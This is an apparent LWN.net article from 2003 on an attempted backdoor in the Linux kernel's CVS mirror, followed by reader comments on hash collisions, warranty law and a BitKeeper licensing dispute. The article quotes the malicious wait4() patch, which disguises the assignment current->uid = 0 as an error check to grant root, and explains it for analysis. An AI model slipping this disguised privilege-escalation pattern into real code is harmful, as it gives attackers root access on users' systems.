Weekly Edition
Return to the Front page
| |||||||||||||
An attempt to backdoor the kernel
The mainline 2.4 and 2.6.0-test kernels are both currently maintained in
BitKeeper repositories. As a service for those who, for whatever reason,
are unable or unwilling to use BitKeeper, however, the folks at BitMover
have set up a separate CVS repository. That repository contains the
current code and the full revision history. It is not, however, the
place where new changes are committed. So, when somebody managed to push
some changes directly into CVS, Larry McVoy noticed quickly.
Over the years, people have had numerous things to say about BitKeeper and the people behind it. Nobody, however, has accused them of being insufficiently careful. Every change in the CVS repository includes backlink information tying it to the equivalent BitKeeper changesets. The changes in question lacked that information, and thus stood out immediately. An attempt to make a change in this way is suspicious, to say the least, so there was a lot of interest in what the attempted change was. The actual patch confirmed all suspicious; the relevant code was:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; It looks much like a standard error check, until you notice that the code is not testing current->uid - it is, instead setting it to zero. A program which called wait4() with the given flags set would, thereafter, be running as root. This is, in other words, a classic back door. The resulting vulnerability, had it ever made it to a deployed system, would have been a locally-exploitable hole. Some sites have said that the hole would have been susceptible to remote exploits, but that is not the case. An attacker would need to be able to run a program on the target system first. But this attack never had any chance of corrupting the mainline kernel. The CVS repository is generated from BitKeeper, it is not a path for patches to get into the BitKeeper repositories. So the code in question could only affect users who were working from the CVS repository. Kernels used by distributors probably do not come from that repository, and, as this incident has shown, illicit code can only remain there for so long before being detected. As it turns out, a successful attack on the public BitKeeper repositories would not be a whole lot more effective. By its nature, BitKeeper works with many copies of the repository; it is good for BitKeeper users that disk space is cheap. The public 2.6 repository reflects all of Linus's work, but it is not his repository. When Linus applies a set of patches, he has to explicitly "push" his private repository to the public server before the rest of the world sees it. BitKeeper takes a very paranoid view of its data. Checksums are applied all over the place, and a push from one repository to another can't be done if the receiving repository has unknown changesets in it. So, if somebody were to sneak something into the public repository, Linus would notice it the next time he attempted a push of his own. At that point the red alert could be sounded, and the only people affected would be those who had pulled development kernels directly from the repository. So the only way to get a back door into the kernel source - and to have it be widely distributed - would be to get Linus or one of his top-tier lieutenants to accept it directly. That would be a challenge, since these people do actually look over code before accepting it. It is not entirely impossible, however; a forged message to Linus appearing to contain a patch from a trusted contributor might just be accepted. The development process is reasonably secure, but not perfect. For this reason, this episode has renewed a push to incorporate digital signature checking into BitKeeper. If the source management system checked such signatures automatically, the most obvious forgeries would be detected before they were merged. Larry McVoy has indicated that he is willing to build such a feature into the free (beer) version of BitKeeper. Whether the key kernel hackers would be willing to start signing all of their patches is another question. The pain of having to sign patches could well be far less than the pain of dealing with a widely distributed backdoor in the kernel, however. (Log in to post comments)
An attempt to backdoor the kernel Posted Nov 6, 2003 18:49 UTC (Thu) by TheOneKEA (subscriber, #615) [Link] What I think stands out the most was not that the CVS gateway was hacked and questionable code inserted -- it was the speed and cooperation that allowed it to be quickly detected, removed and preventive measures taken to make it more difficult for such a compromise to take place.This is an EXCELLENT example of one of the strengths of Open Source Development -- hundreds of eyes looking at the same thing. Kudos to Larry McVoy and everyone else at BitMover.
Almost right Posted Nov 7, 2003 0:50 UTC (Fri) by rjamestaylor (guest, #339) [Link] This is an EXCELLENT example of one of the strengths of Open Source DevelopmentFunnily enough it was the non-free-as-in-religion* tool which some Open Source developers use that allowed for such a quick discovery of the attack. Kudos to Larry and his justifiably paranoid cross checks. *Or, free as in assembly+, free as in association, free as in bearing arms, etc. There are more freedoms than speech. +Assembly may be free, but the Assembler's not... (baaa dumm)
An attempt to backdoor the kernel Posted Nov 6, 2003 19:16 UTC (Thu) by jonabbey (subscriber, #2736) [Link] Interestingly, Graydon Hoare's Monotone is built entirely around cryptographic protocols.. files are identified in the archive by SHA1 hashes, not by filename, and all changesets and relationship between file versions are expressed through digitally signed assertions. It's a neat re-thinking of one of the premises of revision control systems, even though some folks (Tom Lord of Arch, for one) have expressed the opinion that Monotone is not perhaps as well thought out over the totality of the revision control problem space as it might be.
An attempt to backdoor the kernel Posted Nov 6, 2003 22:37 UTC (Thu) by lm (guest, #6402) [Link] Re: the monotone SHA1 hashes...Val Henson has written a paper recently about the fact that using a hash as a way to identify files isn't such a good idea. The paper basically says that just because you can use a hash + linked list search to find an item does not mean that you should use a hash without the linked list backup; hashes get proven to not be unique all the time. http://www.usenix.org/events/hotos03/tech/full_papers/henson/henson_html/ Using hashes in a version control system is appealing from the point of view of implementation but as I'm fond of saying to my engineers "we're not in the get-it-almost-right business". An open source system which uses this technique is probably fine, the chance of hash collisions is small and you didn't pay for the product. On the other hand, a commercial system that used hashes the same way as monotone does or opencm does, that's a lawsuit waiting to happen.
An attempt to backdoor the kernel Posted Nov 6, 2003 22:55 UTC (Thu) by jonabbey (subscriber, #2736) [Link] Yeah, I had the same concern, honestly. It's nice that you've got 20 bytes of SHA1 hash.. in theory, the odds against a single pair-wise collision should be a perfectly even 1 in 2^160 (or 1.46xe48), but that's still not zero, and the semantics of the thing really do call for perfect differentiability.We'll see.. whether Monotone succeeds or fails, I doubt that it'll founder on the difference between 1/(2^160) and 0. There's so much else in a revision control system to get right.
An attempt to backdoor the kernel Posted Nov 7, 2003 3:55 UTC (Fri) by lm (guest, #6402) [Link] > in theory, the odds against a single pair-wise collision should be a> perfectly even 1 in 2^160 (or 1.46xe48), but that's still not zero, As I've said in the past "In theory, practice and theory are the same, but in practice they are different" :) Your 1 in 2^160 assumes a perfectly random distribution of inputs. Math people love to assume Gaussian (or some other equally pleasant to math) distribution but those nasty programmers have a bad habit of not being that random. What does that mean? It means that all your math is meaningless. You are doing the math over the wrong set of data, data which doesn't exist, so you get a slanted (and incorrect) view of the world. If a file system or a SCM system is using hashes for their names of objects, be afraid. 99% of the time or more it will work but it will not work all of the time.
An attempt to backdoor the kernel Posted Nov 7, 2003 7:14 UTC (Fri) by hingo (guest, #14792) [Link] In a general sense, the above is right, but...A prime design criteria for a good hash function is that the resulting checksums should be evenly spread out over the output space, even if the inputs are very similar. Thus, assuming an even distribution is correct, if the hash function is "good". henrik
Hashes and collisions Posted Nov 7, 2003 10:54 UTC (Fri) by nowster (subscriber, #67) [Link] Even with a good hash function, you need to build in the ability to handle collisions. Consider the following problem: How many people do you have to have in a room before you have a better than 50% chance that two of them share the same birthday (ignoring the year)? The answer is surprisingly low (23). This is known as the Birthday Paradox. The probability of a collision approaches "evens" when (very) approximately sqrt(total_number_of_slots) hash slots have been used. Collisions are possible (but very rare) even with just two hash entries.
Hashes and collisions Posted Nov 10, 2003 16:49 UTC (Mon) by dd9jn (subscriber, #4459) [Link] You are mixing up simple hash fucntions (e.g. CRC-32) with cryptographic hash functions (e.g. SHA-1). The latter have a couple of important design criteria and thus you won't ever see a duplicated hash value. If you ever find or can construct a different second file hashing to the same value you have broken that hash function with huge consequences for about all cryptographic protocols. Even for the old MD5 algorithms, no collision has ever been found (the often reported weakness found by Hans Dobbertin is on a reduced MD5 variant). Using MD5 or SHA-1 is a perfectly good choice to identify a text.
Hashes and collisions Posted Nov 13, 2003 10:47 UTC (Thu) by rjw (guest, #10415) [Link] Erm.A hash function produces a small fixed number of bits from a large, potentially limitless number of bits. Just think for one second about that. How the hell do you think that every one of 2^(2^32) combinations can map to 2^160 combinations uniquely? Cryptographic hash functions merely make it computationally hard to find a match, and even harder to find a match which contains what you want it to.
Hashes and collisions Posted Nov 13, 2003 9:01 UTC (Thu) by hingo (guest, #14792) [Link] The Birthday Paradox is a different problem. In that, you are asking for the probability of any two persons "to collide". The cracker who wants to inject code into a BK repository, faces the task of constructing a collision for a given file (somewhat equivalent to finding a person with the same birthday as mine). The probability of finding a collision there is much lower (practically impossible with current hashes, with birthdays of course, you only have 365 days to pick from).henrik
Hashes and collisions Posted Feb 16, 2004 14:37 UTC (Mon) by Omnifarious (guest, #19508) [Link] The birthday paradox, applied to SHA-1, means that you must have approximately 1/2**75 separately hashed entities before you start seeing a significant chance of collision. This is still pretty tiny. So, in theory, hash by value should actually be pretty good. The paper is making the point that, while hash functions are designed to have certain properties, there is no guarantee that they do, and any lapse is catastrophic for algorithms that rely on them that heavily.
An attempt to backdoor the kernel Posted Nov 13, 2003 9:43 UTC (Thu) by ekj (guest, #1524) [Link] Actually no. You're wrong.A Cryptographically strong hash-function (such as sha1) does *not* assume that the inputs are random. On the contrary, it is made under the assumption not only that the inputs are non-random (as changesets are), but even that the inputs may be deliberately choosen so as to provoke a collision. A hash-function is cryptographically strong even if in this scenario, the chanse of collisions still is no bigger than the mathemathical minimum 1 in 2^num_bits. That is, there is no (known) way of generating different strings such that the probability that the strings have identical sha1sum is higher than 2^num_bits. It's still true that two changesets (or files or whatever) migth be identical trough pure dumb luck, but if I where you, I'd find something else to worry about, the chanse that a comsic ray will flip a bit in your ram and cause the program to give the wrong result is probably much much higher.
An attempt to backdoor the kernel Posted Nov 6, 2003 23:03 UTC (Thu) by coriordan (guest, #7544) [Link] > On the other hand, a commercial system that used hashesI assume you mean a proprietary system, but I don't see why peoples standards should be raised or lowered based on whether the software comes with freedom or not. If the software is bad, don't use it. The only difference I see, is that with Free Software, you don't have to deal with secret file formats, so migrating to new software is easier. Or if you want to use the bad software, you can fix it.
An attempt to backdoor the kernel Posted Nov 7, 2003 1:16 UTC (Fri) by proski (subscriber, #104) [Link] I wonder if you are Richard Stallman. Your style of writing is very similar. First you "translate" words into your own vocabulary, and then you "don't see" :-)I think lm meant "commercial". If you sell software with known defects like this, you may be held responsible, whether the software is free (as in speech) or not. I know, GPL disclaims any warranty, but this disclaimer is not valid in some jurisdictions.
An attempt to backdoor the kernel Posted Nov 7, 2003 1:55 UTC (Fri) by coriordan (guest, #7544) [Link] This is a mistake. My name is Drahcir Namllats, anybody that says otherwise is trying to mislead you. They want you to pre-judge whatever I am talking about, before reading my whole comment. This is not conducive to clear and open minded thinking.On translating words; I do Free Software, so I cannot comment in the name of Open Source. I have yet to see a jurisdiction where my^H^HFSF's GPL warranty disclaimer is not valid. Drahcir Namllats
An attempt to backdoor the kernel Posted Nov 7, 2003 6:35 UTC (Fri) by bajw (guest, #11712) [Link] I, for one, am very often impressed with your comments. Much like those of some guy with a weird name that is similar to, but backwards from, yours.I too fail to see why the standards should be raised or lowered by the level of freedom associated with the software.
An attempt to backdoor the kernel Posted Nov 7, 2003 7:33 UTC (Fri) by hingo (guest, #14792) [Link] Yeah, hat's of to coriordan (the rms of Europe? :-). We are especially thankful for your recent (andongoing I hope) work with the software patents directive. And also for your reporting of it here. As for the warranty disclaimer, I'm too under the impression that it's not valid in most of Europe. Wasn't that what a German law professor something pointed out in a study recently? (The story was reported in press with headlines like "GPL invalid in Europe", which was perhaps a bit too much.) I'm sure in Finland you couldn't get away with - sell a piece of (free/whatever) software for purpose X - software deletes all files on harddisk - "Not my fault, it says there is no warranty!" In Europe things are a bit different than in the US, from where we have learned to insert disclaimers everywhere. (McDonalds is not responsible for the fact that their coffee is hot, etc... Isn't it the point of coffee that it should be hot? I could understand if somebody sued them for the coffee being too cold :-) henrik
warranty disclaimer Posted Nov 7, 2003 10:55 UTC (Fri) by ber (subscriber, #2142) [Link] As for the warranty disclaimer, I'm too under the impression that it's not valid in most of Europe. Wasn't that what a German law professor something pointed out in a study recently?The study you are refering to, was funded by a huge business association where major proprietary software vendors pay member fees. The result was used to create bad press about the legal situation around Free Software and a lot of people bought into it. Read ifross news on it if you want to know the details: Dispute on Legal Issues Surrounding Free Software Intensifies. It concludes with: VSI's announcement about the legal risks in developing and using Free Software was premature. [..] The new study contains mostly long-known findings. At least in Germany strapping on a Free Software license is like giving something away like a gift. For gifts you are only responsible if you (a) on purpose try to do something nasty or (b) act very unreasonable. (b) translates into actions that almost everybody would have known to cause serious problems. So you do not necessarily need the warranty disclaimers as the legal situation is already okay. We should start point out that the legal risks around proprietary software is a lot higher compared to Free Software.
warranty disclaimer Posted Nov 13, 2003 9:34 UTC (Thu) by hingo (guest, #14792) [Link] Hashes aside, I see that Larry of BitMover has collided with The RMS of Europe. Ouch, didn't see that happening, especially since this is not slashdot. Anyway, too late now.I completely agree with the above clarifications. In summary: 1. A warranty disclaimer in Europe is meaningless. You are responsible for some of your actions wether you want it or not. For Free Software (as in beer, even) a warranty disclaimer might even be an empty statement. 2. This was nothing new, however some rich and twisted people decided to make a fuzz about it. The headlines "GPL is invalid in Europe" were of course only humorous at best. As for the coffee thing, if I spillt coffee on myself because I was "drinking and driving" and burned myself, I would not want to announce it to the world in a lawsuit that I'm that stupid. This is the difference with US citizens and the rest of the world. I have no need to defend McDonalds however. henrik
McDonald's coffee suit Posted Nov 14, 2003 14:40 UTC (Fri) by Max.Hyre (subscriber, #1054) [Link] Details of the case. Read before discussing. 'Nuff said.
warranty disclaimer Posted Nov 14, 2003 21:56 UTC (Fri) by giraffedata (subscriber, #1954) [Link] 1. A warranty disclaimer in Europe is meaningless. You are responsible for some of your actions wether you want it or not.The second part, "You are responsible..." is also true in the US, and probably everywhere else. The first part, "A warranty disclaimer is meaningless" is not true in the US, and I kind of doubt it is anywhere else either. In the US, I am responsible for my actions under laws that have nothing to do with warranty: tort law. However, I am responsible for additional things because I gave a someone a warranty. In some cases the law says I give that warranty implicitly, and in some of those cases, the law says I can override that implied warrantee by explicitly disclaiming it. Here's where freely distributed software comes in: For some of those actions for which I am responsible under tort law, a person may assume the risk from me, in exchange for valuable compensation from me. So in return for my valuable software I may demand from you, instead of cash, indemnity against the risks inherent in distributing software (the risk that through some fault of mine, the software hurts you). Exactly how free we are to make that trade varies a lot from one jurisdiction to another. And finally, most of the "disclaimers" we see all the time are not warranty disclaimers. They are merely notice that the person does not intend to assume a certain risk, and they serve to defeat ridiculous claims such as, "I would not have parked my car there except that the owner of the building led me to believe he would protect my car."
An attempt to backdoor the kernel Posted Nov 8, 2003 2:03 UTC (Sat) by coriordan (guest, #7544) [Link] Thanks for the comments, and to bajw too.Georg Greve (president of FSFeurope) might be the closest thing Europe has to an RMS, but I'm sure most people haven't heard of him. Digital freedom needs so much work, that people working on these issues usually don't have time to contribute to public fora like LWN. So this leave such fora filled with a high percentage of contribution by armchair generals etc., and I think this sucks, so I make time for LWN, and sometimes lesser fora such as slashdot. Regarding the enforceability of the GPL in europe, I second ber's info, as for McDonalds coffee, RMS mentions it in this article. It's interesting that ber mentions FS being a gift in Germany. Last year a law professor proposed a law to forbid the gift transfer of copyrighted material without reasonable compensation. His aim was to prevent musicians being ripped off by the recording industry, but he hadn't realised that this put distribution of FS in jeopardy. Georg Greve, and the others in FSFeurope and another org called iFROSS, got an FS exception added to the law, and FS was safe again. But since he deosn't post to LWN, most people didn't hear of this ;-)
An attempt to backdoor the kernel Posted Nov 7, 2003 3:47 UTC (Fri) by lm (guest, #6402) [Link] Re: free vs notLots of free software is "good enough". Using hashes as a way to name files is "good enough" in the opinion of some free software SCM systems. It's not good enough for a commercial system because if it fails the customer can, and probably will, sue the vendor. Like I said, we aren't in the "almost got it right" business, that may be fine for lots of people, look at CVS, it's heavily used and it has no integrity checks at all. If a disk goes bad, memory goes bad, the network file system goes bad, a malicious or naive user goes bad, none of that is detected in CVS and all of that would be detected in BitKeeper. Commercial software has to be paranoid, it's part of the deal. That's one of the reasons why you pay money, we worry about the extremely unlikely cases that have a nasty habit of happening at the absolute worse time. The argument against our paranoia is that "things don't go wrong that often so it's OK to let it slide". That's a fine argument for software that you don't pay for but how would you feel if you'd paid a pile of money and I said that to you about the software you just bought?
An attempt to backdoor the kernel Posted Nov 7, 2003 5:58 UTC (Fri) by coriordan (guest, #7544) [Link] lm, you're confusing the issue, which makes it hard to respond to, but I'll try anyway because this issue is important.You compare Free Software to commercial software, but these things are not exclusive, there is a lot of commercial Free Software. The MySQL database is one great example. The GNU Arch revision control system is another. If people want support or new features in GNU Arch, they can pay the highly talented Tom Lord for these things: The GNU Arch Commercial offerings page If you are trying to copy BK, give it up. We'll simply follow in the footsteps of every other company faced with this sort of thing and change the protocol every 6 months. Since you would be chasing us you can never catch up. If you managed to stay close then we'd put digital signatures into the protocol to prevent your clone from interoperating with BK. -- Larry McVoy, LKML I wouldn't use software that is afraid of competition, specifically I would steer well clear of software that uses file-format lock-in to keep it's userbase. GNU Arch obviously doesn't create this problem, and it has a user community and plenty of Free documentation as a bonus.
An attempt to backdoor the kernel Posted Nov 7, 2003 8:34 UTC (Fri) by jamesh (guest, #1159) [Link] You seem to be confusing the issue yourself. Would you be willing to sell/support a piece of software (proprietary or free software) and provide a warranty if you knew it had defects that might affect your clients? It sounds like a great way to get sued. You would want to minimise the risk as much as possible. Larry is essentially saying that the chance of data loss with some other source code management systems is too high to make supporting them profitable. ie: [amount of money lost in lawsuit] * [probability of lawsuit] > [profit from selling support/warranty] Providing a warranty like this is a commercial activity -- you would be stupid to take on a liability like that without getting something in return. So it seems to be the right term to use here.
Arch documentation Posted Nov 7, 2003 9:19 UTC (Fri) by lolando (subscriber, #7139) [Link] > GNU Arch obviously doesn't create this problem, and it has a user> community and plenty of Free documentation as a bonus. Quick reminder: the documentation is Free-for-the-FSF, but not Free-for-everyone. Specifically, it is, as far as I know, released under the GNU Free Documentation License, the Freedom of which is not recognised by everyone (see the mighty dispute between the FSF and Debian) for a start, and it even includes Invariant Sections, which should make it clear that it is not quite Free. *And* at least one of the invariant sections contains text that is controversial. As for the "plenty"... No man page, no info page, just the one tutorial (which was outdated last time I tried it). This is not a troll. I'd love to use TLA / GNU Arch, which seems to have the features I want. But I found it easier to get started with Subversion, even though it doesn't have all of them. The Subversion documentation is just much more polished.
Arch documentation Posted Nov 7, 2003 10:47 UTC (Fri) by coriordan (guest, #7544) [Link] to lolando:I accept your point about the GFDL, indeed I'm not a fan of the GFDL myself. I hadn't noticed the lack of infopages. I'll see if I can find someone to fix this, or stick it on my todo list for early 2004. There is a more than just a tutorial though: Quick Introduction, Quick Reference, Reference Manual, Tutorial, FAQ. to jamesh: > Would you be willing to sell/support a piece of > software (proprietary or free software) It seems Tom Lord is happy to do this. If you read my previous comment again, you'll notice that I linked to a page offering support for GNU Arch for a fee. > and provide a warranty if you knew it had defects that might > affect your clients? It sounds like a great way to get sued. > You would want to minimise the risk as much as possible. Well, I'd provide a warrany, if you don't specify how good it has to be. How about "I'll fix all problems you have with GNU Arch, if they occur on Mars". Any good? no. So lets look at the BK warranty: Where's BitKeepers warrany? here it is: BitMover represents and warrants for a period of ninety (90) days ("Warranty Period") that it will make a reasonable effort to ensure the Software operates substantially in accordance with the applicable Documentation ...it then goes on to list 8 things that could invalidate your license, and then: NEITHER BITMOVER NOR ITS LICENSORS MAKE ANY OTHER WARRANTIES, EXPRESS OR IMPLIED, WITH RESPECT TO THE SOFTWARE. BITMOVER DOES NOT WARRANT THAT THE FUNCTIONS CONTAINED IN THE SOFTWARE WILL MEET YOUR REQUIREMENTS OR THAT OPERATION OF THE SOFTWARE WILL BE UNINTERRUPTED OR ERROR-FREE. ...only mildly better than my mars warranty. They're not exactly liable for much, are they?
Arch documentation Posted Nov 7, 2003 14:41 UTC (Fri) by jamesh (guest, #1159) [Link] It seems Tom Lord is happy to do this. If you read my previous comment again, you'll notice that I linked to a page offering support for GNU Arch for a fee. That is consistent with what Larry said earlier. He said that it would be difficult/unproffitable to support an SCM system that relied on hashes alone to identify files. IIRC, Arch doesn't fall into this category. As for the BK license you link to, it states that when you buy the software, you aren't getting support. Section 7 seems to indicate that you can buy support separately. The support contract is most likely separate. You might not like the BK licensing (I wouldn't feel too comfortable relying on it for my own software either), but Larry hasn't really said anything controversial here.
Arch documentation Posted Nov 7, 2003 21:50 UTC (Fri) by coriordan (guest, #7544) [Link] > That is consistent with what Larry said earlier.Larry said a lot of things. Some were quite confused. He compared Free Software to commercial software, so I gave an example that is both. and he said that "Commercial software has to be paranoid, it's part of the deal", so I pointed out that his company disclaim virtually all warranty, and that GNU Arch support is available. So, with commerce, support, and warranty out of the way, I think the only thing that no one addressed was my LKML quote about competition and proprietary file/protocol-format lock-in tactics: If you are trying to copy BK, give it up. We'll simply follow in the footsteps of every other company faced with this sort of thing and change the protocol every 6 months. Since you would be chasing us you can never catch up. If you managed to stay close then we'd put digital signatures into the protocol to prevent your clone from interoperating with BK. -- Larry McVoy, LKML
Arch documentation Posted Nov 8, 2003 2:58 UTC (Sat) by lm (guest, #6402) [Link] > Larry said a lot of things. Some were quite confused.Funny, I don't feel confused. I must be so confused that I don't realize I'm confused :) Our license is standard boilerplate, it's no different than other license and that's with good reason. The boilerplate exists because of previous lawsuits and changing it is not a good idea. I'll tell you a story about that. Our original commercial license was written by me and it was a license you would have loved. It had a clause in there that said if you hit a severe bug and we wouldn't or couldn't fix it promptly, we'd come to your site and pull your data out of BK and put it into the source management system of your choice, retaining all revision history such as dates, user names, etc. A large two letter company that builds chips took offense at this clause. How could that be possible? The clause was designed to make the customer feel good, we were standing behind our software to the extent that we'd drop everything and help the customer if something went wrong (a policy which we have to this day even if it isn't in our contract, ask any BK user). The company pointed out that it was just fine if we did that for them, but suppose we had sold a pile of seats to Sony Japan. And Sony had some problem and half our engineering team had to fly to Japan to extract the data and put it in Arch which was just not done yet so we had to sit there and fix Arch as part of the contract. Where does that leave our two letter company? They are getting crappy support because we are off honoring a contract clause that put us at too much risk. Think about that. It's really smart. They were looking ahead and they educated us as to why it is bad to be different. It's certainly OK to be a little different but in general you want to do things the way other people do them because those ways have withstood the test of time. Beating us up about our boilerplate is just silly and naive. You might as well attack 100% of the companies which ship commercial software. You haven't found anything that is different in our license from theirs, it's all the same. So why pick on us? Especially given that we are a company who has given away their technology to help your cause, given away hardware and bandwidth to help your cause, given away salaries to help your cause, and this whole thread is about how we prevented a trojan horse from getting into Linux. And you're attacking us? It's hard to see how that makes sense for anyone other than a zealot and that doesn't help your cause, it hurts it.
Arch documentation Posted Nov 8, 2003 5:28 UTC (Sat) by coriordan (guest, #7544) [Link] So you legaly promise crappy support, but you actually give very good support whenever possible. ok."So why pick on us?" - It's nothing personal, I reject all proprietary software. "we are a company who has given away their technology to help your cause" You have developed software, but you have decided to use copyright law to prevent users from helping themselves or eachother. This decision to exert power over your users completely contradicts my cause. Your decision to use secret file format/protocols to prevent competition reminds me of why proprietary software must be rejected. Your business model relys on control, and to this end it compels you to do whatever's neccessary to maintain this control. Like when Pavel Machek started to write a BKclone at home on his own time, you contacted Pavels boss, asking him to pressure Pavel into not writing the software, you even complained that Pavels boss should have made him choose between that home project and keeping his job. No level of warranty can makes it okay to treat people this way. People deserve freedom.
Arch documentation Posted Nov 8, 2003 5:52 UTC (Sat) by lm (guest, #6402) [Link] Just out of curiousity, how do you reconcile your obviously negative view of our company with the undisputed point that we just did the free software world a pile of good? If your precious open source tool was the one that was used this security flaw would likely be in the kernel right now.While you are at it, how do you reconcile your obviously negative view with the fact that we produced a BK->CVS gateway so you can have the source you want in a 100% God fearing politically correct form? You're quick to jump on anything that supports your point of view, but isn't it interesting that this evil company is the one that is actually _doing_ the work that needs to be done? Pavel & Co are great at making noise but have you looked at the code? There isn't any. If you were to stop and think for a minute you'd realize that we have to have a profitable business if we are going to keep on giving out the support that we do to open source world. It costs us more than $100K a year to do what we do for you, actually, a lot more than that now that I think of it, it's probably more like $250K or so. You're oh so eager to beat us up when we protect the very money it is that we use to help you but I don't see you coughing up that cash, that time, that software, or that support. I'm open to a better way to do things but in case you haven't noticed, nobody else has stepped forward with anything except a lot of talk.
Arch documentation Posted Nov 8, 2003 7:44 UTC (Sat) by coriordan (guest, #7544) [Link] You only solved a problem you created. If it was Arch and Arch2CVS, anyone and everyone could be running integrity checks, but you've created central control.BK bashing on lkml was bad advertising, so you made a gateway to hush the protestors. Yes you are putting effort into your plan, it's a pity Pavel didn't finish his clone, and it's unfortunate that Linus trades away his freedom. "more than $100K a year to do what we do for you"
Silly zealots Posted Nov 8, 2003 15:37 UTC (Sat) by lm (guest, #6402) [Link] You're right, you figured me out. I joined the kernel development 10 years ago, worked with Linus for years, all the while carefully planning to use them to make money.And even though I was the 4th person at Google, and even though it was obvious that I could make tons of money at Google, I choose to leave that place and start a source management company because I thought that would make *more* money than Google. And you, with your incredible insight, have seen through my dastardly plan. Rats! Foiled again!
Sounds like the Spanish civil war Posted Nov 9, 2003 17:58 UTC (Sun) by vblum (guest, #1151) [Link] IMO, one of the saddest spectacles in history is the Spanish civil war. It was lost notnecessarily because the republican forces were weaker than their fascist opponents. It was lost because different factions among the antifascists attempted to eat one another at a time when they should have stood together. Not that Free Software vs Big Money is even remotely similar to that - for all their market But the lesson is an important one - in Spain, the idealists failed miserably because they Ciaran: I respect your stance for free software (and usually appreciate your comments; I only Larry: I read many of your posts on why you keep BK licensed as it is; and, I see your need to On the other hand, your customers also face deadlines (at least if they're in big companies) cheers, V.
war Posted Nov 9, 2003 19:28 UTC (Sun) by coriordan (guest, #7544) [Link] BitKeeper offers an immediate practical convenience on condition that we ignore the issue of freedom. If we accept this deal, will we ever have a Free Software SCM that rivals BitKeeper?We didn't all accept the proprietary Qt. Now we have GNOME, and Qt has been GPL'd. If Linus chose Arch, the whole community would have benefitted from increased developer interest in Arch. Maybe it would now have the features it lacks compared to BitKeeper. BitKeeper is not a friend of the Free Software community. It's a friend to Linus, but Linus is not fighting for our freedom. this here is software, not crimes against humanity! The software divide between 1st & 3rd world countries is a humanitarian problem. Free Software is a solution.
re:war Posted Nov 9, 2003 20:30 UTC (Sun) by vblum (guest, #1151) [Link] errm ... just to explain my wording (crimes against humanity) - I wanted to put my ownexample back into perspective, and only my own - nobody else had implied anything remotely similar to Franco et al here, and I just wanted to make sure I could not be misread. If my implication was that anyone else had - sorry about that. I do see the freedom-related issues, but there must also be a path to get there; BK seems to If Larry's contribution ultimately ends up making Arch (or whatever else) a stronger system -
re:war Posted Nov 10, 2003 11:11 UTC (Mon) by coriordan (guest, #7544) [Link] Software was going proprietary, so RMS started GNU, Qt was proprietary, so he started GNOME, BitKeeper is proprietary, so he endorsed Arch and it's now a GNU project. It's true that solutions are born from problems, but I wouldn't use this as a basis for supporting the problem :-)
Sounds like the Spanish civil war Posted Nov 9, 2003 21:54 UTC (Sun) by lm (guest, #6402) [Link] Re: could we make a business based on serviceThe service model has been tried before in this space. We *spend* more in a year providing free services to the open source world than has ever been made from supporting an open source management system. Ask Tom Lord how easy it is to convince people to spend money in this space, he spent the last year begging for enough money to keep his internet connection on. Contrast that with having to pay a dozen engineers and you start to get the picture. Re: BitKeeper limits your freedom I really don't want to argue about this and I would like this to be my last post to this thread (and I'm off to the beach with my family and no laptop so there is a good chance :) We are sensitive to the needs of the open source world and we do our best. BK has always made it trivial to get the data out of BK if you want to do that. If that's not enough, we built and run the BK->CVS gateway so that the zealots don't even have to touch BK. That's as much as we can do, if it doesn't make you happy, I'm sorry about that, but I can't help you.
Sounds like the Spanish civil war Posted Nov 9, 2003 22:15 UTC (Sun) by vblum (guest, #1151) [Link] I know - no annoyance intended, thanks for taking the time to respond. I guess I alwayshave the Trolltech example in mind. I also realize BK and Qt cater to different spaces. Have fun at the beach! (I should be in the mountains, really ...)
An attempt to backdoor the kernel Posted Nov 7, 2003 11:31 UTC (Fri) by rschroev (subscriber, #4164) [Link] I think there is a huge difference between problems that arise as a result of conflicting hashes on one side, and not detecting corruption on the other side.Colliding hashes is a bug in the system, in my view. The system may be "almost good enough", but never "good enough". Detection of errors introduced outside of the system is a nice feature, but it is one I can live without. Lack of the feature is not a bug. The system is effectively "good enough".
An attempt to backdoor the kernel Posted Nov 20, 2003 13:30 UTC (Thu) by Wol (guest, #4433) [Link] Colliding hashes is MATHEMATICALLY INEVITABLE.It can't, therefore, be a bug. Being able to generate a file that results in the hash you want, however, most definitely IS a bug, because it is a gaping security hole. Cheers,
An attempt to backdoor the kernel Posted Nov 7, 2003 18:55 UTC (Fri) by zooko (subscriber, #2589) [Link] If you can find collisions in SHA-1, you can probably use that to forge digital signatures and gain remote authorizations to any system that uses cryptography for authentication. (This includes, among others, any system which uses SSH, TLS, or a cryptographically authenticated VPN.)Is it a lawsuit waiting to happen to run sshd?
An attempt to backdoor the kernel Posted Nov 8, 2003 18:54 UTC (Sat) by Stephen_Beynon (✭ supporter ✭, #4090) [Link] You could only do that if you manage to find a way of generating a blockof data with a pre-determined hash. The problem of finding 2 blocks of data which generate the same hash (any hash) is a far smaller problem.
An attempt to backdoor the kernel Posted Nov 13, 2003 9:59 UTC (Thu) by ekj (guest, #1524) [Link] Sure. More spesifically, the magnitude of the problem is proportiaonal to the square root ofthe other problem. So finding two strings with the same 160 bit hash requires you to generate and hash on the order of 2^80 strings. I wouldn't loose much sleep over this, but if you do, there's no problem with going to a bigger hash. If you could generate and hash 2^30 strings a second (and store all the hashes you already have created...) you'd still need 2^50 seconds before you'd on the average get lucky. Everyone designing cryptographic hashes is aware of this issue, which is why the hashes are so big in the first place.
An attempt to backdoor the kernel Posted Nov 15, 2003 4:04 UTC (Sat) by graydon (subscriber, #5009) [Link] this paper is simple fud. see http://www.venge.net/monotone/docs/Hash-Integrity.html for a detailed response.
An attempt to backdoor the kernel Posted Nov 20, 2003 6:40 UTC (Thu) by khim (subscriber, #9252) [Link] "In theory, practice and theory are the same, but in practice they are different" Exactly! Here is difference: if we have two systems - one uses SHA1 without any colluisions detection and other uses SHA1 and linked list as backup then version without backup is less reliable in theoty but more reliable in practice! I'm joking, right ? How the hell version without collision detection can be more reliable ? No, I'm not joking. You all ussume that you "perfect" program will work on some "perfect" hardware. That's not so. Real CPU, memory, hard disk and other components are not 100% reliable. Thus you program can misdetect even if you algorythm is perfect. And this probability is increased when linked list added as backup for strong crypto hash. For most non-trivial programs this increase is so big that it completely dwarfs mythical SHA1 collisions. Think about it and then try to advocate you backup plans. Preferrable with numbers for hardware in hands, not with some abstract righteosy.
